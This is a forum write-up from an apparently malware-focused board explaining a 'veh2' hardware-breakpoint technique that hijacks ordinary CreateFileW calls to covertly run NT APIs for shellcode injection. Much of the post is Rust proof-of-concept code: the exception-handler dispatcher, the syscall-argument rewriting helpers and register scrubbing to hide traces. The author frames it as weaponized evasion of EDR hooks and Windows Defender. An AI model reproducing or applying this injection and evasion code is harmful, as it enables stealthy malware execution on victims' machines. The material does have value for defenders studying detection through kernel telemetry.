[Writeup] Using NtCreateFile to exec shellcode ============================================== Section: Malware & Analysis Started: 2026-12-04 05:50 UTC by noqs Replies: 0, last post 2026-12-04 05:50 UTC Page: 1 of 1 Web: https://romdump.net/t/146 ------------------------------------------------------------------------------ #210 noqs, 2026-12-04 05:50 UTC [OP] (edited) Source: https://romdump.net/raw/210 Legal disclaimer: this shit is only for educational purposes i am not held responsible for any misuse god forbid Hello romdump community Intro: I will explain a technique that enables you to execute any ntapi you want using only two windows apis AddVectoredExceptionHandler and NtCreateFile or Createfilew, I will take advantage of a fairly recent technique just back in 2024 developed by crowdstrike the so called veh2, we will first understand the technique then we will weaponize it to execute shellcode as an example you can use it to execute any ntapi you want in your malware technique chain! What is veh2? The problem: As mostly common in malware when they abuse the vectored exception handling or veh for short to hijack execution flow, evade security monitoring, and complicate reverse engineering. This technique alone is very powerful and can be used to bypass inline EDR hooks, patch amsi or etw and so on. So the plan is simple: 1. Register a VEH: The malware registers a custom exception handler to catch EXCEPTION_SINGLE_STEP (0x80000004), which the CPU raises when a hardware breakpoint is triggered. 2. Set Hardware Breakpoints: The malware calls GetThreadContext and SetThreadContext to write the memory address of a target function (e.g., AmsiScanBuffer) into the CPU's debug registers (Dr0¨CDr3). 3. Intercept and Redirect: When the target function is called, the CPU hits the hardware breakpoint and halts execution before the function runs. Windows passes a CONTEXT structure (containing live CPU registers) to the malware's VEH. Spoof Execution: Inside the handler, the malware modifies the instruction pointer (RIP) to skip the security check, adjusts the stack pointer (RSP), and changes RAX to spoof a "clean" return value So as you might have noticed the detection flaw lies exactly in calling heavily monitored apis like GetThreadContext or SetThreadContext edrs have been placing hooks on those hell long time ago so this technique despite being smart but it fails to be FUD due to this downside [image: https://assets.crowdstrike.com/is/image/crowdstrikeinc/Blog-AMSI-4?wid=779&hei=589&fmt=png-alpha&qlt=95,0&resMode=sharp2&op_usm=3.0,0.3,2,0] The solution: So we need to find a silent way and very common to happen in legitimate software to give us write access to the thread's CONTEXT structure. The answer is in veh2 How VEH? Works Step-by-Step: - Register Two Handlers: The malware registers VEH1 (to catch EXCEPTION_BREAKPOINT / 0x80000003) and VEH2 (to catch EXCEPTION_SINGLE_STEP / 0x80000004). - Trigger an Intentional Breakpoint: Instead of calling SetThreadContext, the malware triggers a software breakpoint (e.g., via DebugBreak() or an int 3 instruction). - Set Debug Registers Silently (VEH1): Windows catches the breakpoint and invokes VEH1, handing it the thread's CONTEXT structure. VEH1 silently writes the target address (like AmsiScanBuffer) directly into Dr0 and advances RIP past the int 3 instruction. Bypass the Target Function (VEH2): Later, when AmsiScanBuffer is called, the hardware breakpoint triggers EXCEPTION_SINGLE_STEP. VEH2 catches it and manipulates RIP, RSP, and RAX to bypass the scan،ھjust like traditional VEH abuse ``` use std::ffi::c_void; use windows_sys::Win32::{Foundation::{EXCEPTION_BREAKPOINT, EXCEPTION_SINGLE_STEP, STATUS_SUCCESS}, System::Diagnostics::Debug::{ AddVectoredExceptionHandler, CONTEXT_DEBUG_REGISTERS_AMD64, EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH, EXCEPTION_POINTERS }}; fn main() { println!("Starting program.."); let _h = unsafe { AddVectoredExceptionHandler(1, Some(veh)) }; unsafe { core::arch::asm!("int3") }; change_execution(); println!("Finished!") } #[inline(never)] fn change_execution() { println!("If this worked I should not print!!!! :("); } unsafe extern "system" fn veh(p_ep: *mut EXCEPTION_POINTERS) -> i32 { let exception_record = unsafe { *(*p_ep).ExceptionRecord }; let ctx = unsafe { &mut *(*p_ep).ContextRecord }; if exception_record.ExceptionCode == EXCEPTION_BREAKPOINT { println!("Received initial break to set hardware breakpoint on a function"); // Set the address we wish to monitor for a hardware breakpoint ctx.Dr0 = change_execution as *const c_void as u64; // Set the bit which says Dr0 is enabled locally ctx.Dr7 |= 1; // Increase the instruction pointer by 1, so we effectively move to the next instruction after int3 ctx.Rip += 1; // Set flags ctx.ContextFlags |= CONTEXT_DEBUG_REGISTERS_AMD64; ctx.Dr6 = 0; return EXCEPTION_CONTINUE_EXECUTION; } else if exception_record.ExceptionCode == EXCEPTION_SINGLE_STEP { // Gate the exception to make sure it was our entry which triggered // to prevent false positives (will probably lead to UB in the process) if (ctx.Dr6 & 0x1) == 0 { return EXCEPTION_CONTINUE_SEARCH; } println!("Now in the 2nd VEH when change_execution was accessed"); // fake a return value as if we intercepted a syscall ctx.Rax = STATUS_SUCCESS as u64; // get return addr from the stack let rsp = ctx.Rsp as *const u64; let return_address = unsafe { *rsp }; // set it ctx.Rip = return_address; // simulate popping the ret from the stack ctx.Rsp += 8; ctx.Dr6 = 0; return EXCEPTION_CONTINUE_EXECUTION; } EXCEPTION_CONTINUE_SEARCH } ``` Now finally we are left with one api AddVectoredExceptionHandler through it we can do considerable work. But how to extend this model to invoke any ntapi covertly which will give our malware complete invisibility from userland monitoring tools. The technique does not spoof the stack it has completely legit stack from main to kernelbase to ntdll nothing is spoofed. Bypasses edr inline hooks by design. Zero presence of injection related apis from unwinding the callstack. So for this to work we will need one extra completely legit windows api which is NtCreateFile you can use any other ntapi granted that this ntapi provides enough stack space for args you can even use this api which takes a godly count of 16 or 17 args https://ntdoc.m417z.com/ntgdisetdibitstodeviceinternal we will see how and why in a moment Let us dive in: How the PoC turns a single, innocent CreateFileW call into an execution engine capable of invoking any NT API with arbitrary arguments allocation,write, memory protection, and thread creation included ? without ever embedding a syscall instruction in our own binary, and without calling a single Nt* function directly. The whole mechanism rests on three pillars: 1. A single hardware breakpoint (DR0) that alternates between the syscall instruction and the ret two bytes behind it. 2. A counter-driven dispatch in the VEH that decides which NT API we are impersonating right now. 3. Helper functions that overwrite the CPU registers and stack slots of the interrupted context, so when execution resumes, the kernel receives exactly the arguments we want Everything is driven by one call to AddVectoredExceptionHandler and one legitimate, unremarkable call to CreateFileW per NT API we want to execute. The execution model at a glance: A normal CreateFileW call walks kernel32 -> ntdll!NtCreateFile -> syscall. The assembly of the stub ends like this: ``` mov r10, rcx mov eax, syscall ret ``` We place a hardware breakpoint exactly on the syscall opcode. When the breakpoint fires, the CPU has already executed mov r10, rcx and mov eax, ... ? the argument shuffling convention is done for us, and the genuine frame of a real CreateFileW call sits underneath on the stack. The VEH is handed a CONTEXT structure representing that frozen instant. Rewriting that context is rewriting the call. When the handler returns EXCEPTION_CONTINUE_EXECUTION, the CPU executes the syscall instruction with our registers ?€،± meaning we just executed a completely different NT API through someone else's gadget, mid-way through a completely legitimate call. The sequence of one full iteration is: ``` CreateFileW called legitimately | v BP #1 hits on `syscall` (DR0 == syscall_addr) |-> VEH branch 2: COUNTER selects the helper |-> helper rewrites RAX (SSN), RCX/R10, RDX, R8, R9, stack args |-> DR0 moves +2 bytes to the `ret` |-> COUNTER++ v syscall executes with our SSN and args (this is the real NTAPI call) v BP #2 hits on `ret` (DR0 == syscall_addr + 2) |-> VEH branch 3: fake_ret_registers() scrubs the return state |-> DR0 moves back to the `syscall` v execution returns into ntdll and up into kernel32 as if nothing happened ``` Ping-ponging DR0 between the two addresses is what lets the handler live both before and after Shared State and the Counter: Because the VEH and main share no stack, the PoC keeps all working state in statics. Two of them power the state machine: ``` static STATE: SyncState = SyncState(UnsafeCell::new(SyscallState::new())); static STEP: AtomicUsize = AtomicUsize::new(0); ``` SyscallState is the "argument warehouse". It holds everything the helpers will need later: the target process handle, the decrypted payload, the size fields, and — critically — the SSNs of the four NT APIs we intend to run: ``` struct SyscallState { syscall_addr: usize, h_process: *mut c_void, payload: Vec, base_address: *mut c_void, region_size: usize, bytes_written: usize, old_protect: u32, h_thread: *mut c_void, ssn_allocate: u32, ssn_write: u32, ssn_protect: u32, ssn_create_thread: u32, } ``` Note what makes this generic: nothing in the state ties us to a specific NT API. base_address, region_size, bytes_written, old_protect and h_thread are the output slots the kernel will write into across the four calls. Swap the SSNs and swap the helpers and the same engine executes whatever NT API you like. init_syscall_state seeds it once we have the syscall address, the handle returned by OpenProcess, and the decrypted shellcode, and resets the step marker to 0: ``` unsafe fn init_syscall_state( syscall_addr: usize, h_process: *mut c_void, payload_bytes: &[u8], ) { let s = &mut *STATE.0.get(); s.syscall_addr = syscall_addr; s.h_process = h_process; s.payload = payload_bytes.to_vec(); s.region_size = s.payload.len(); // ... output fields zeroed ... STEP.store(0, Ordering::SeqCst); } ``` Arming the Trap: The int3 Primer: The VEH cannot set its own breakpoint before it exists, so the PoC primes it with a software breakpoint. One inline int3 is the ignition key: ``` AddVectoredExceptionHandler(1, Some(veh)); println!("first veh placed"); core::arch::asm!("int3"); ``` The 1 for FirstHandler matters: it puts our handler ahead of any other module's VEH, so an int3 or a debug-register exception lands in us first. Branch 1 of the handler answers the int3, drops the hardware breakpoint onto the syscall instruction, and skips past the trap: ``` if exceptionrecord.ExceptionCode == EXCEPTION_BREAKPOINT { ctx.Dr0 = s.syscall_addr as u64; ctx.Dr7 |= 1; // enable local breakpoint L0 ctx.Rip += 1; // step over the int3 byte (0xCC) ctx.ContextFlags |= CONTEXT_DEBUG_REGISTERS_AMD64; ctx.Dr6 = 0; println!("second veh placed"); return EXCEPTION_CONTINUE_EXECUTION; } ``` Three details here pull real weight: - Dr7 |= 1 enables breakpoint L0 as an execute breakpoint: the CPU raises a STATUS_SINGLE_STEP whenever the instruction pointer reaches DR0. - ctx.Rip += 1 skips the one-byte int3 — without this the handler would fire forever. - The change is committed through ContextFlags so NtContinue honors the new DR0/DR7. From this moment on, the trap is armed and the handler never runs again through branch 1. The Carrier: One Legitimate CreateFileW per NT API Now the engine just needs something to run into the trap. Enter COUNTER — the second static — driving a loop of totally legitimate API calls: ``` static COUNTER: AtomicUsize = AtomicUsize::new(0); while COUNTER.load(Ordering::Relaxed) < 4 { unsafe { crtfile(); } } unsafe fn crtfile() { CreateFileW( w!(r"C:\Users\user123\Desktop\test.txt"), GENERIC_WRITE, 0, null(), CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, null_mut(), ); } ``` To any static or call-stack inspection this is a program opening a text file on the desktop, four times, through the standard Win32 API. There is no PAGE_EXECUTE memory in our module containing hand-crafted stubs, no ntdll clone, no direct NtAllocateVirtualMemory reference. Yet each of these four calls is hijacked mid-flight to execute, in order: Iteration | COUNTER | NT API actually executed 1 | 0 | NtAllocateVirtualMemory 2 | 1 | NtWriteVirtualMemory 3 | 2 | NtProtectVirtualMemory 4 | 3 | NtCreateThreadEx The counter is the program counter of a program that doesn't exist anywhere on disk. Branch 2: Dispatch by Counter, Fix the Registers When DR0 reaches the syscall opcode the CPU raises EXCEPTION_SINGLE_STEP. Branch 2 first checks that the trap really came from our breakpoint (Dr6 & 1) and not a stray single-step: ``` } else if exceptionrecord.ExceptionCode == EXCEPTION_SINGLE_STEP && ctx.Dr0 == s.syscall_addr as u64 { println!("branch 2 triggered"); if (ctx.Dr6 & 0x1) == 0 { return EXCEPTION_CONTINUE_SEARCH; } ``` Then the counter selects the impersonation: ``` match COUNTER.load(Ordering::Relaxed) { 0 => { println!("0 exec"); setup_nt_allocate_virtual_memory(ctx, s); } 1 => { println!("1 exec"); setup_nt_write_virtual_memory(ctx, s); } 2 => { println!("2 exec"); setup_nt_protect_virtual_memory(ctx, s); } 3 => { println!("3 exec"); setup_nt_create_thread_ex(ctx, s); } _ => {exit(1);} } ctx.Dr0 += 2; // breakpoint lands on the `ret` behind the syscall println!("placed a bp on ret instruction"); COUNTER.fetch_add(1, Ordering::Relaxed); return EXCEPTION_CONTINUE_EXECUTION; ``` Each setup_* function is a mechanical translation of the x64 Windows syscall calling convention into context edits: RAX gets the SSN, RCX and R10 get argument 0 (the kernel reads arg0 from r10 — normally mov r10, rcx has already run before the BP, but we must overwrite both because we are replacing the arguments of the interrupted call), RDX, R8 and R9 take the next three, and everything past the fourth argument lives on the stack at [rsp+0x28] and above: ``` unsafe fn setup_nt_allocate_virtual_memory(ctx: &mut CONTEXT, s: &mut SyscallState) { ctx.Rax = s.ssn_allocate as u64; // SSN of NtAllocateVirtualMemory ctx.Rcx = s.h_process as u64; // ProcessHandle ctx.R10 = ctx.Rcx; // r10 mirrors arg0 ctx.Rdx = (&mut s.base_address as *mut *mut c_void) as u64; // *BaseAddress (out) ctx.R8 = 0; // ZeroBits ctx.R9 = (&mut s.region_size as *mut usize) as u64; // *RegionSize (in/out) let alloc_type = 0x3000 as u64; // MEM_COMMIT | MEM_RESERVE let protect = 0x4 as u64; // PAGE_READWRITE write_stack_u64(ctx.Rsp, 0x28, alloc_type); write_stack_u64(ctx.Rsp, 0x30, protect); ctx.ContextFlags |= windows_sys::Win32::System::Diagnostics::Debug::CONTEXT_CONTROL_ARM | windows_sys::Win32::System::Diagnostics::Debug::CONTEXT_INTEGER_ARM; } ``` The stack writes go through a small helper — unaligned writes on purpose, because we are placing values precisely on the interrupted thread's live stack, exactly where the syscall dispatcher will read arguments 5 and up: ``` unsafe fn write_stack_u64(rsp: u64, offset: u64, val: u64) { let addr = (rsp + offset) as *mut u64; write_unaligned(addr, val); } ``` The three remaining helpers for the rest of the three ntapis follow the same pattern. Branch 3: Catching the Return and Scrubbing the State The kernel runs our syscall and returns to syscall_addr + 2 — the ret. The breakpoint that was relocated there fires, and branch 3 handles it: ``` else if exceptionrecord.ExceptionCode == EXCEPTION_SINGLE_STEP && ctx.Dr0 == s.syscall_addr.wrapping_add(2) as u64 { if (ctx.Dr6 & 0x1) == 0 { return EXCEPTION_CONTINUE_SEARCH; } println!("branch 3 triggered"); fake_ret_registers(ctx); ctx.Dr0 = s.syscall_addr as u64; // re-arm the BP on the syscall println!("syscall bp placed"); return EXCEPTION_CONTINUE_EXECUTION; } ``` Branch 3 exists for stealth and stability. When ret fires, RAX holds the NTSTATUS of the NT API we actually ran, RBP-independent argument registers hold kernel-adjacent leftovers — and control is about to flow back through ntdll and kernel32.CreateFileW, where the caller may inspect or propagate them. fake_ret_registers replaces that evidence with a plausible, harmless return snapshot: ``` unsafe fn fake_ret_registers(ctx: &mut CONTEXT) { ctx.Rax = 0x55; // boring, non-NTSTATUS-looking accumulator value ctx.R10 = 0; ctx.Rdx = 0; ctx.R8 = 0; ctx.R9 = 0; ctx.ContextFlags |= windows_sys::Win32::System::Diagnostics::Debug::CONTEXT_CONTROL_ARM | windows_sys::Win32::System::Diagnostics::Debug::CONTEXT_INTEGER_ARM; } ``` Then ctx.Dr0 is pointed back at the syscall instruction, re-arming the trap for the next CreateFileW iteration. This is the "jump forth and back" the technique is named after: forward to the ret to survive the kernel transition, back to the syscall for the next impersonation, forever alternating with a single debug register. Branch 3 is functionally the cleanup handler of the state machine — the place where the traces of the real call are erased and the stage is reset. and just tbh this technique yes invisible from usermode prespective but can be detected by kernel mode monitoring tools ETWTI, minifilter and so on... Finally: Here is how it looks like in a debugger [image: https://romdump.net/img/dbc8492dfb8ef44c6bb07d5e0428acbf4e00ac53f217a8ec12c7b80f38b954bf] [image: https://romdump.net/img/9bfc529afc95aba9d9662d4163799890952a401f1130f1e8e00f13bca04794bb] and here it is bypassing windows defender (did not have time to test against other vendors but gurantee it will work inshallah) [image: https://romdump.net/img/f76839031dfc522bd4d1872822c2fbc80958a822b7c44131aad81efb69ae8077]Here is the poc: main.rs (mine) thx for reading <3 ------------------------------------------------------------------------------ Page 1 of 1. End of thread.